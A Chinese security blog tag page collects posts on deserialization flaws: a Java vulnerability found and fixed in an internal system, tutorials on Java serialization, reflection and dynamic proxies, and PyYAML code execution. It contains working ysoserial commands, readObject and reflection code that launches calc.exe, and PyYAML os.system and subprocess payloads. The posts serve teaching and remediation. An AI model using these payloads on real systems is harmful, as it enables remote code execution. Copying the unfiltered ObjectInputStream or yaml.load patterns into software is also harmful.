标签 反序列化漏洞 下的文章 - 勾陈安全实验室

标签 反序列化漏洞 下的文章

记一次Java反序列化漏洞的发现和修复

0x00 背景简介

本文是自己对一次反序列化漏洞的发现和修复过程,如有错误请斧正,大神请轻喷。

目标应用系统是典型的CS模式。

客户端是需要安装的windows桌面程序,但是它是大部分内容都是基于Java开发(安装目录有很多Jar包)。

服务端是基于Jboss开发。

客户端和服务端之间的通信流量是序列化了的数据流量。客户端接收和解析数据流量的模式和服务端一样,也是通过http服务,它在本地起了80、81端口,用于接收反序列化对象。

0x01 Java序列化流量特征

特征一

参考特征,反序列化数据看起来就是这个样子: sr 、类名、空白字符

序列化数据特征1.png

特征二

固有特征,是Java的序列化数据就一定是这样,如果是base64编码的,就是以rO0A开头的。

序列化数据特征2.png

特征三

参考特征,有些content-type就说明了它是是序列化数据。

序列化数据特征3.png

0x02 检测工具

当确定是序列化数据后,我使用了2个会主动进行反序列化漏洞扫描的Burp Suite插件:

当时忘记截图了,这是后续在测试环境的截图:

Java_Deserialization_Scanner1.png

Freddy的流量识别截图:

Freddy.png

0x03 复现方法(攻击服务器端)

使用ysoserial生成一个Payload,这里以Jdk7u21为例,由于是内部系统,我知道服务器上JDK的版本。

java -jar ysoserial-master.jar Jdk7u21 "ping jdk.xxx.ceye.io" > Jdk7u21

将生成的Payload通过Burp suite向服务端进行请求,命令执行成功。

server.png

0x04 攻击客户端

晚上回家想了想,返回包也是序列化格式的,是不是可以试试攻击客户端呢?第二天来一试,还真的可以。

对客户端做了一个简单的分析,发现客户端在本地起了80和81端口,也是通过http 服务来接收序列化对象的,反序列化过程和服务端如出一辙。

java -jar ysoserial-master.jar CommonsCollections3 "calc.exe" >CC3-desktop

client.png

这里自己想象了一种攻击场景:当攻击者控制了服务器之后,可以干掉这个服务,自己开启一个恶意的服务端,当反序列化请求过来时,都返回一个恶意的响应包,比如反弹shell之类的,凡是使用了该客户端的用户都可能被攻击。危害还是不容小视的。

0x05 防护思路

到了这里就开始考虑修复了,我给开发提供了2种修复思路。

升级

升级服务端所依赖的可能被利用的jar包,当然还包括JDK。不错所料,开发一听就否了。一来升级需要经过各种功能性测试,耗时较长,二来是JDK的升级可能造成稳定性问题(之前一个AMF的反序列化问题就是如此,升了2个月了还没搞定)。

过滤

另一个思路就是过滤了,需要继承Java.io.ObjectInputStream实现一个子类,在子类中重写resolveClass方法,以实现在其中通过判断类名来过滤危险类。然后在JavaSerializer类中使用这个子类来读取序列化数据,从而修复漏洞。

反序列化防御.png

0x06 失败的修复

我将以上的第二种修复思路给到了开发,并提醒参考SerialKiller项目。过了一段时间,开发告诉我修复了,然而我的验证显示漏洞依然存在。

只好硬着头皮去开发电脑上看代码,后来发现开发将过滤方法用在了下图的方法之后,而且是在判断获取到的对象是不是HashMap实例之后(开发不愿意给我截图了...)。到这里我终于发现了点不对劲,在判断对象类型了,岂不是说明已经反序列化完成了?

通过对这个getRequestData()函数的追踪,确定反序列化过程是在一个底层的Jar包中完成的。

getrequest.jpg

0x07 对底层Jar包的分析

然后我拿到这个Jar进行了分析,它是公司自己开发的框架。最后艰难地理出了其中的调用逻辑:该框架基于struts2开发,从下图的调动逻辑可以看出,所有的请求到达服务端后,都会首先经过DataInterceptor这个拦截器,这个拦截器执行的动作就是反序列化数据然后给到Action。上面的getRequestData()方法,已经是在这个流程之后了,属于Action中的逻辑。故而开发的修复方式无效。

flowofcall.png

DataInterceptor类的实现如下:

public class DataInterceptor
  extends BaseInterceptor
{
  private static final long serialVersionUID = 1L;

  public String intercept(ActionInvocation invocation)
    throws Exception
  {
    HttpServletRequest request = (HttpServletRequest)invocation
      .getInvocationContext().get("com.opensymphony.xwork2.dispatcher.HttpServletRequest");
    Object action = invocation.getAction();
    if ((action instanceof IDataAction))
    {
      IDataAction richAction = (IDataAction)action;
      Serializable model = Toolkit.getSerializer().deserialize(
        request.getInputStream());//这里执行了反序列化操作
      richAction.setRequestData(model);//将对象传递给了Action,getRequestData()方法才能获取到
    }
    else if ((action instanceof IDataBundleAction))
    {
      IDataBundleAction richAction = (IDataBundleAction)action;
      Serializable model = Toolkit.getSerializer().deserialize(
        request.getInputStream());
      richAction.setRequestDataBundle((DataBundle)model);
    }
    return invocation.invoke();
  }
}

JavaSerializer的实现如下:

import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class JavaSerializer
  extends AbstractSerializer
{
  public Serializable deserialize(InputStream in)
    throws IOException
  {
    ObjectInputStream oo = new ObjectInputStream(new BufferedInputStream(in));
    try
    {
      return (Serializable)oo.readObject();
    }
    catch (ClassNotFoundException e)
    {
      throw new IOException("序列化类文件找不到:" + e.getMessage());
    }
    finally
    {
      oo.close();
    }
  }

到这里就清楚了,真正有漏洞的代码就在这里。

0x08 成功修复

要修复这个漏洞,就需要将上面的第二种过滤修复方法用到这个类里,具体的实现方法和SerialKiller一样。

需要继承Java.io.ObjectInputStream实现一个子类(SerialKiller),在子类中重写resolveClass方法,以实现在其中通过判断类名来过滤危险类。然后在JavaSerializer类中使用这个子类来读取序列化数据,从而修复漏洞。

通过如上方法修复了该漏洞,验证也是成功修复。修复后的JavaSerializer类:

import com.xxx.xxx.xxx.core.security.SerialKiller;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class JavaSerializer
  extends AbstractSerializer
{
  public Serializable deserialize(InputStream in)
    throws IOException
  {
    ObjectInputStream ois = new SerialKiller(new BufferedInputStream(in));//SerialKiller是重写了resolveClass方法的子类。
    try
    {
      return (Serializable)ois.readObject();
    }
    catch (ClassNotFoundException e)
    {
      throw new IOException("序列化类文件找不到:" + e.getMessage());
    }
    finally
    {
      ois.close();
    }
  }

0x09 意外之喜 - 另一处XMLDecoder反序列化漏洞

然而,对Java包的分析还发现了另外一处反序列化漏洞。问题出在对XML的反序列化过程中,和weblogic的XMLDecoder RCE如出一辙。

漏洞代码如下:

import java.beans.XMLDecoder;
import java.io.IOException;
import java.io.InputStream;
import java.io.Serializable;

public class XmlSerializer
  extends AbstractSerializer
{
  public Serializable deserialize(InputStream in)
    throws IOException
  {
    XMLDecoder xd = new XMLDecoder(in);//和weblogic的XMLDecoder RCE如出一辙
    try
    {
      return (Serializable)xd.readObject();
    }
    finally
    {
      xd.close();
    }
  }

它的修复方式也是参考了weblogic的,需要实现一个validate 函数,在执行XML解码(XMLDecoder)前,对InputStream对象进行检查过滤。

private void validate(InputStream is){
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();

         parser.parse(is, new DefaultHandler() {
            private int overallarraylength = 0;
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid element qName:object");
               } else if(qName.equalsIgnoreCase("new")) {
                  throw new IllegalStateException("Invalid element qName:new");
               } else if(qName.equalsIgnoreCase("method")) {
                  throw new IllegalStateException("Invalid element qName:method");
               } else {
                  if(qName.equalsIgnoreCase("void")) {
                     for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                        if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                           throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                        }
                     }
                  }

                  if(qName.equalsIgnoreCase("array")) {
                     String var9 = attributes.getValue("class");
                     if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                        throw new IllegalStateException("The value of class attribute is not valid for array element.");
                     }
                  }
               }
             }
         });

         } catch (ParserConfigurationException var5) {
            throw new IllegalStateException("Parser Exception", var5);
         } catch (SAXException var6) {
            throw new IllegalStateException("Parser Exception", var6);
         } catch (IOException var7) {
            throw new IllegalStateException("Parser Exception", var7);
         }
}

0x10 总结

零零散散学习反序列化漏洞已经很长时间了,这是第一次在公司自研框架中发现反序列化漏洞,所以总结记录一下,大神请轻喷!也算是对该漏洞知识的一个梳理。学习还是要实践过、做过了才算是学到了,否则永远不是自己的!

0x11 参考

过滤方法的一个开源库,但是这个库需要依赖JDK1.8: https://github.com/ikkisoft/SerialKiller

反序列化漏洞的入口和限制条件+反序列化过滤防御思路:https://www.ibm.com/developerworks/library/se-lookahead/

廖师傅的Weblogic XMLDecoder RCE分析: http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

Java反序列化漏洞学习实践三:理解Java的动态代理机制

0x01 基础

代理模式:为其他对象提供一种代理以便控制对这个对象的访问(所谓控制,就是可以在其调用行为,前后分别加入一些操作)。

代理模式分类:

  1. 静态代理(其实质是类的继承,比较容易理解)
  2. 动态代理(这是我们需要关注的重点,)比较重要!!

0x02 静态代理Demo和理解

package Step3;

/*
 * 代理模式的简单demo,静态代理
 */

public class proxyTest{
    public static void main(String[] args) {
        Subject sub=new ProxySubject();
        sub.request();
    }
}

abstract class Subject
{//抽象角色:通过接口或抽象类声明真实角色实现的业务方法。
    //类比网络代理,比如http代理,都支持http协议
    abstract void request();
}

class RealSubject extends Subject
{//真实角色:实现抽象角色,定义真实角色所要实现的业务逻辑,供代理角色调用。
    //类比真实的http请求
       public RealSubject()
       {
       }

       public void request()
       {
              System.out.println("From real subject.");
       }
}

class ProxySubject extends Subject//关键是类的继承
{//代理角色:实现抽象角色,是真实角色的代理,通过真实角色的业务逻辑方法来实现抽象方法,并可以附加自己的操作。
    //类比通过代理发出http请求,这个代理当然可以对http请求做出任何想要的修改。
    private RealSubject realSubject; //以真实角色作为代理角色的属性

       public ProxySubject()
       {
       }

       public void request() //该方法封装了真实对象的request方法
       {//所谓的“控制”就体现在这里
        preRequest(); 
              if( realSubject == null )
        {
                     realSubject = new RealSubject();
              }
        realSubject.request(); //此处执行真实对象的request方法
        postRequest();
       }

    private void preRequest()
    {
        //something you want to do before requesting
        System.out.println("Do something before requesting");
    }

    private void postRequest()
    {
        //something you want to do after requesting
        System.out.println("Do something after requesting");
    }
}

运行效果:

1.png

0x03 动态代理Demo及理解

在java的动态代理机制中,有两个重要的类或接口,一个是InvocationHandler(Interface)、另一个则是Proxy(Class),这一个类和接口是实现我们动态代理所必须用到的。

大致逻辑流程就是:

定义一个接口(抽象角色)-->基于以上接口实现一个类(真实角色)-->基于InvocationHandler实现一个处理器类;

接着调用流程:

实现一个真实角色对象-->实现一个处理器对象-->构建一个新的代理对象,这个对象基于已有的处理器 和接口的类-->再把这个代理对象转换为【接口的类型、抽象角色的类型】,不能是真实角色的类型,为什么?

package Step3;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

/*
 * 代理模式的简单demo,动态代理,动态代理利用了反射机制
 * 每一个动态代理类都会有一个与之关联的invocation handler。真正的调用是在invocation handler的invoke()方法里完成的。
 * 感谢蝶离飞、廖新喜2为师傅的指导
 */

public class proxyTest2{
    public static void main(String[] args) {
        DynamicSubject sub=new RealDynamicSubject();//之前这里sub的类型是RealDynamicSubject,不对;但是为什么呢?
        Handler handler = new Handler(sub);
        DynamicSubject sub2 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), new Class[]{DynamicSubject.class}, handler); 
        //CLassLoader loader:指定动态代理类的类加载器
        //Class<?> interfaces:指定动态代理类需要实现的所有接口
        //InvocationHandler h: 指定与动态代理类关联的 InvocationHandler对象
        DynamicSubject sub3 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), sub.getClass().getInterfaces(), handler);

        DynamicSubject sub4 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), RealDynamicSubject.class.getInterfaces(), handler);

        System.out.println("sub.getClass() = "+sub.getClass());
        System.out.println("DynamicSubject.class = " +DynamicSubject.class);
        System.out.println(new Class[]{DynamicSubject.class});
        System.out.println(RealDynamicSubject.class.getInterfaces());

        sub2.request();
        sub3.request();
        sub4.request();
    }
}

interface DynamicSubject
{//抽象角色:通过接口或抽象类声明真实角色实现的业务方法。注意:动态代理只能是接口,否则代理类转成该类型事会报错
    //类比网络代理,比如http代理,都支持http协议
    abstract void request();
}

class RealDynamicSubject implements DynamicSubject
{//真实角色:实现抽象角色,定义真实角色所要实现的业务逻辑,供代理handler处理调用。
    //类比真实的http请求
       public RealDynamicSubject()
       {
       }

       public void request()
       {
              System.out.println("From real subject.");
       }
}

/**
 * 处理器
 */
class Handler implements InvocationHandler{
    private Object obj; //被代理的对象,不管对象是什么类型;之前声明成RealDynamicSubject,不应该这么做
    /**
     * 所有的流程控制都在invoke方法中
     * proxy:代理类
     * method:正在调用的方法
     * args:方法的参数
     */
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {//接口必须实现的方法,也是逻辑核心
        System.out.println("Do something before requesting");
        Object xxx = method.invoke(this.obj, args);
        System.out.println("Do something after requesting");
        return xxx;
    }
    public Handler(Object obj) {
        //构造函数,把真实角色的实例传递进来,这个代理handler的目的就是处理它
        this.obj = obj;
    }
}

运行效果:

2.png

0x03 思考总结

在后续将要学习的反序列化PoC构造过程中,我们需要用到这个动态代理机制,因为它提供一种【方法之间的跳转,从任意方法到invoke方法的跳转】,是我们将参数入口和代码执行联系起来的关键!

本文代码下载地址:

https://github.com/bit4woo/Java_deserialize_vuln_lab/tree/master/src/Step3

0x04 参考

Java反序列化漏洞学习实践二:Java的反射机制(Java Reflection)

0x00 前言

学习Java的反射机制是为了理解Apache Commons Collections中的反序列化漏洞做准备的。

0x01 基础

Java反射机制

  • 指的是可以于运行时加载,探知和使用编译期间完全未知的类.
  • 程序在运行状态中, 可以动态加载一个只有名称的类, 对于任意一个已经加载的类,都能够知道这个类的所有属性和方法;
    对于任意一个对象,都能调用他的任意一个方法和属性;
  • 加载完类之后, 在堆内存中会产生一个Class类型的对象(一个类只有一个Class对象),
    这个对象包含了完整的类的结构信息,而且这个Class对象就像一面镜子,透过这个镜子看到类的结构,所以被称之为:反射.
  • 每个类被加载进入内存之后,系统就会为该类生成一个对应的java.lang.Class对象,通过该Class对象就可以访问到JVM中的这个类.

Class对象的获取方法

  • 实例对象的getClass()方法;
  • 类的.class(最安全/性能最好)属性;(如Demo代码和下图)
  • 运用Class.forName(String className)动态加载类,className需要是类的全限定名(最常用).
    注意,有一点很有趣,使用功能”.class”来创建Class对象的引用时,不会自动初始化该Class对象,使用forName()会自动初始化该Class对象

注意,有一点很有趣,使用功能”.class”来创建Class对象的引用时,不会自动初始化该Class对象,使用forName()会自动初始化该Class对象

1 (1).png

0x02 通过反射方法调用函数

该Demo主要实践主要学习使用反射方法来调用类中的函数。

package Step2;

import java.lang.reflect.Method;

public class reflectionTest {

    public static void main(String[] args){

        Method[] methods = test.class.getMethods();
        //获取类的方法二,有点类似python的getattr()。java中每个类型都有class 属性
        //通过类的class属性获取对应的Class类的对象,通过这个Class类的对象获取test类中的方法集合

        /* String name = test.class.getName();
         * int modifiers = test.class.getModifiers();
         * .....还有很多方法
         * 也就是说,对于一个任意的可以访问到的类,我们都能够通过以上这些方法来知道它的所有的方法和属性;
         * 知道了它的方法和属性,就可以调用这些方法和属性。
         */

        //调用test类中的方法
        for(Method method : methods){
            if(method.getName().equals("int2string")) {
                System.out.println("method = " + method.getName());

                Class[] parameterTypes = method.getParameterTypes();//获取方法的参数
                Class returnType = method.getReturnType();//获取方法的返回类型
                try {
                    //method.invoke(test.class.newInstance(), 666);
                    Object x = method.invoke(new test(1), 666);
                    System.out.println(x);
                    // new关键字能调用任何构造方法。 newInstance()只能调用无参构造方法。
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }

        try {
            Method method = test.class.getMethod("int2string", Integer.class);
            Object x = method.invoke(new test(2), 666);//第一个参数是类的对象。第二参数是函数的参数
            System.out.println(x);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

class test{
    private Integer n;  

    public test(Integer n){ //构造函数,初始化时执行
        this.n = n;
    }
    public String int2string(Integer n) {
        System.out.println("here");
        return Integer.toString(n);
    }
}

0x03 通过反射方法弹个计算器

Step1中,我们通过重写readObject方法,直接在里面使用Runtime.getRuntime().exec("calc.exe")来执行代码。现在需要改造一下,使用反弹方法来实现,成功调试的代码如下:

package Step2;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Method;

/*
 * 有了反射方法的基础,再结合step1,实现一个基于反射方法的弹计算器。
 */

public class reflectionTest2 implements Serializable{
    private Integer n;  

    public reflectionTest2(Integer n){ //构造函数,初始化时执行
        this.n = n;
    }
    public String int2string(Integer n) {
        System.out.println("here");
        return Integer.toString(n);
    }
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法

        try {//通过反射方法执行命令;
        Method method= java.lang.Runtime.class.getMethod("exec", String.class);
        Object result = method.invoke(Runtime.getRuntime(), "calc.exe");    
        }
        catch(Exception e) {
            e.printStackTrace();
        }
        }

    public static void main(String[] args){
        //reflectionTest2 x= new reflectionTest2(2);
        //operation.ser(x);
        operation.deser();
    }
}



class operation {
    public static void ser(Object obj) {
        //序列化操作,写数据
        try{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(obj);//序列化关键函数
            oos.flush();  //缓冲流 
            oos.close(); //关闭流
        } catch (FileNotFoundException e) 
        {        
            e.printStackTrace();
        } catch (IOException e) 
        {
            e.printStackTrace();
        }
    }

    public static void deser() {
        //反序列化操作,读取数据
        try {
            File file = new File("object.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

执行结果:

2.png

0x04 思考总结

程序的两大根本:变量与函数

所以总的来说,要想控制程序实现命令执行,有2个方向:

  • 控制代码、函数:就像命名注入等注入类漏洞一样数据被当作了代码执行;或者和上面的Demo代码一样重写readObject,加入自定义的代码(当然这种场景基本不存在,任意文件上传和执行勉强算是属于这种情况)。
  • 控制输入、数据、变量:利用代码中已有的函数和逻辑,通过改变输入内容的形态实现流程的控制(不同的输入会走不同的逻辑流程,执行不同代码块中的代码)。

对于java反序列化漏洞,属于控制数据输入,它有2个基本点必须要满足:

  1. 有一个可序列化的类,并且该类是重写了readObject()方法的(由于不存在代码注入,只能查找已有代码逻辑中是否有这样的类)。
  2. 在重写的readObject()方法的逻辑中有 method.invoke函数出现,而且参数可控。

再稍作抽象:

  1. 有一个可序列化的类,并且该类是重写了readObject()方法的。(主线流程,反序列化漏洞都是这个主线逻辑流程)
  2. 在重写的readObject()方法的逻辑中有
    直接或间接使用类似method.invoke这种可以执行调用任意方法的函数,而且参数可控。(是否还有其他函数可以达到相同的目的呢?)

本文代码可从github下载:

https://github.com/bit4woo/Java_deserialize_vuln_lab/tree/master/src/Step2

0x05 参考

Java反序列化漏洞学习实践一:从Serializbale接口开始,先弹个计算器

0x01 基本概念

  • 什么是序列化和反序列化

Serialization(序列化)是指把Java对象保存为二进制字节码的过程;反序列化deserialization是把二进制码重新转换成Java对象的过程。

  • 什么情况下需要序列化

a.当你想把的内存中的对象保存到一个文件中或者数据库中时候;

b.当你想用套接字在网络上传送对象的时候;

c.当你想通过RMI传输对象的时候;

总之,序列化的用途就是传递和存储。

  • 如何实现序列化

将需要序列化的类实现Serializable接口就可以了,Serializable接口中没有任何方法,可以理解为一个标记,即表明这个类可以被序列化。

序列化与反序列化都可以理解为“写”和“读”操作 ,通过如下这两个方法可以将对象实例进行“序列化”与“反序列化”操作。

/**

 * 写入对象内容

 */

private void writeObject(java.io.ObjectOutputStream out)

/**

 * 读取对象内容

 */

private void readObject(java.io.ObjectInputStream in)
  • 一些注意点

当然,并不是一个实现了序列化接口的类的所有字段及属性,都是可以序列化的:

如果该类有父类,则分两种情况来考虑:

1.如果该父类已经实现了可序列化接口,则其父类的相应字段及属性的处理和该类相同;

2.如果该类的父类没有实现可序列化接口,则该类的父类所有的字段属性将不会序列化,并且反序列化时会调用父类的默认构造函数来初始化父类的属性,而子类却不调用默认构造函数,而是直接从流中恢复属性的值。

如果该类的某个属性标识为static类型的,则该属性不能序列化。

如果该类的某个属性采用transient关键字标识,则该属性不能序列化。

a.当一个父类实现序列化,子类自动实现序列化,不需要显式实现Serializable接口;

b.当一个对象的实例变量引用其他对象,序列化该对象时也把引用对象进行序列化;

0x02 简单实例

以下代码是一个简单的实现序列化和反序列化操作的Demo:

package Step1;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class deserTest implements Serializable {  

    /**
     * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。
     */
    private static final long serialVersionUID = 1L;

    private int n;  

    public deserTest(int n){ //构造函数,初始化时执行
        this.n=n;
    }

    public static void main(String[] args) {
        deserTest x = new deserTest(5);//实例一个对象
        operation.ser(x);//序列化
        operation.deser();//反序列化
    }
}

class operation {
    public static void ser(Object obj) {
        //序列化操作,写数据
        try{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(obj);//序列化关键函数
            oos.flush();  //缓冲流 
            oos.close(); //关闭流
        } catch (FileNotFoundException e) 
        {        
            e.printStackTrace();
        } catch (IOException e) 
        {
            e.printStackTrace();
        }
    }

    public static void deser() {
        //反序列化操作,读取数据
        try {
            File file = new File("object.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

运行结果:

1.png

0x03 自定义反序列化的行为:弹个计算器

自定义序列化和反序列化过程,就是重写writeObjectreadObject方法。

对以上代码进行改造,加入readObject方法的重写,再重写函数中加入自己的代码逻辑。

package Step1;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class deserTest2 implements Serializable {  

    /**
     * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。
     * 然后重写readObject方法,实现弹计算器。
     */
    private static final long serialVersionUID = 1L;

    private int n;

    public deserTest2(int n){ //构造函数,初始化时执行
        this.n=n;
    }
    //重写readObject方法,加入了弹计算器的执行代码的内容
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法
        Runtime.getRuntime().exec("calc.exe");
        System.out.println("test");
    }

    public static void main(String[] args) {
        //deserTest2 x = new deserTest2(5);//实例一个对象
        //operation2.ser(x);//序列化
        operation2.deser();//反序列化
    }
}

class operation2 {
    public static void ser(Object obj) {
        //序列化操作,写数据
        try{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(obj);//序列化关键函数
            oos.flush();  //缓冲流 
            oos.close(); //关闭流
        } catch (FileNotFoundException e) 
        {        
            e.printStackTrace();
        } catch (IOException e) 
        {
            e.printStackTrace();
        }
    }

    public static void deser() {
        //反序列化操作,读取数据
        try {
            File file = new File("object.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

以上代码,先取消main函数中的注释运行一次,以便生成正确的object.obj文件。而后加上注释运行一次,以保证只从object.obj文件中读取内容进行反序列化操作。如果无错误,第二次执行将看到弹计算器。

2.png

本文代码可从github下载:

https://github.com/bit4woo/Java_deserialize_vuln_lab/tree/master/src/Step1

0x04 参考

Python PyYAML反序列化漏洞实验和Payload构造

0x01 概述

什么程序存在漏洞:

使用了PyYAML这个库并且使用了yaml.load而不是yaml.safe_load函数来解析yaml文件的程序

代码审计关键词:

  • import yaml
  • yaml.load(

已知相关漏洞:

  • Remote Code Execution Vulnerability in Ansible-Vault Library. (CVE-2017-2809)
  • https://pypi.python.org/pypi/ansible-vault/1.0.4 ansible-vault <=1.0.4存在这个漏洞,在1.0.5中完成了修复
  • Remote Code Execution Vulnerability in Tablib. (CVE-2017-2810)

0x02 yaml和序列化

yaml和xml、json等类似,都是标记类语言,有自己的语法格式。各个支持yaml格式的语言都会有自己的实现来进行yaml格式的解析(读取和保存),其中PyYAML就是python的一个yaml库。

除了 YAML 格式中常规的列表、字典和字符串整形等类型转化外(基本数据类型),各个语言的 YAML 解析器或多或少都会针对其语言实现一套特殊的对象转化规则(也就是序列化和反序列化,这是关键点,是这个漏洞存在的前提)。比如:PyYAML 在解析数据的时候遇到特定格式的时间数据会将其自动转化为 Python 时间对象

  • 序列化: 将数据结构或对象转换成二进制串(字节序列)的过程
  • 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程

将如下内容保存到sample.yml

date: !!str 2016-03-09
date1:  2016-03-09
weekday: Wednesday
weather: sunny

然后在同一目录下运行如下python 代码:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import yaml

print(yaml.load(file('sample.yml', 'r')))

可以看到如下结构,有“!!str”强制类型转换的,就成了字符串格式;没有类型转换的就是python中datetime.date对象。

微信图片_20170922164720.png

0x03 代码执行PoC构造的尝试

以笔者目前初浅的理解,要实现代码执行,就需要序列化和反序列的内容中出现该编程语言中的对象(函数、类),因为的对象的反序列化,是在构建一个对象的实例(实例化的过程)。如果一个对象中有函数的定义,有可执行代码,那么实例化后再通过方法调用或者其他的途径才能使其中的代码到执行。普通数据类型的反序列化只是变量相关的初始化、赋值等操作,不会涉及到逻辑处理的代码块,所有不会有代码的执行!(普通数据类型 = 数据,对象= 函数代码+数据)。

通过跟踪$PYTHON_HOME/lib/site-packages/yaml/constructor.py文件,查看 PyYAML 源码可以得到其针对 Python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:

!!python/object:          =>  Constructor.construct_python_object

!!python/object/apply:    =>  Constructor.construct_python_object_apply

!!python/object/new:      =>  Constructor.construct_python_object_new

通过如下代码,来序列化test类中的内容:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'yaml_gen_poc.py'

import yaml
import os

class test:
    def __init__(self):
        os.system('calc.exe')

payload =  yaml.dump(test())

fp = open('simple.yml','w')
fp.write(payload)

可以看到simple.yml中写入的内容如下:

!!python/object:yaml_gen_poc.test {}

再运行yaml_verify.py来验证:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = "yaml_verify.py"

import yaml

yaml.load(file('simple.yml', 'r'))

微信图片_20170922164726.png

成功执行了命令,弹出计算器。但是yaml_verify.py的成功运行,需要依赖yaml_gen_poc.py,因为它会根据yml文件中的指引去读取yaml_gen_poc.py中的test这个对象(类)。如果删除yaml_gen_poc.py,也将运行失败。

0x04 构造通用payload

那么我们怎样消除这个依赖呢?就是将其中的类、或者函数 换成python标准库中的类或者函数。

直接修改yml文件为:

!!python/object:os.system ["calc.exe"]

再运行,失败(显示参数未传递:TypeError: system() takes exactly 1 argument (0 given)),尝试查看源码、并变换yml文件中语句格式,均未成功!(疑难点)。

修改为以下2种均成功,通过源码得知,new其实是调用了apply,他们的不同的地方是创建对象的方式,这里可以大致认为它们是一样的。

!!python/object/apply:os.system ["calc.exe"]

!!python/object/new:os.system ["calc.exe"]

既然解决了依赖问题,那我们就尝试构建一些有用的poc吧,从官方标准库里找可以用来执行命令的函数:https://docs.python.org/2/library/index.html

!!python/object/apply:subprocess.check_output [[calc.exe]]

!!python/object/apply:subprocess.check_output ["calc.exe"]

!!python/object/apply:subprocess.check_output [["calc.exe"]]

!!python/object/apply:os.system ["calc.exe"]

!!python/object/new:subprocess.check_output [["calc.exe"]]

!!python/object/new:os.system ["calc.exe"]

..................

本文测试代码地址:

https://github.com/bit4woo/sharexmind/tree/master/YamlRCE

0x05 参考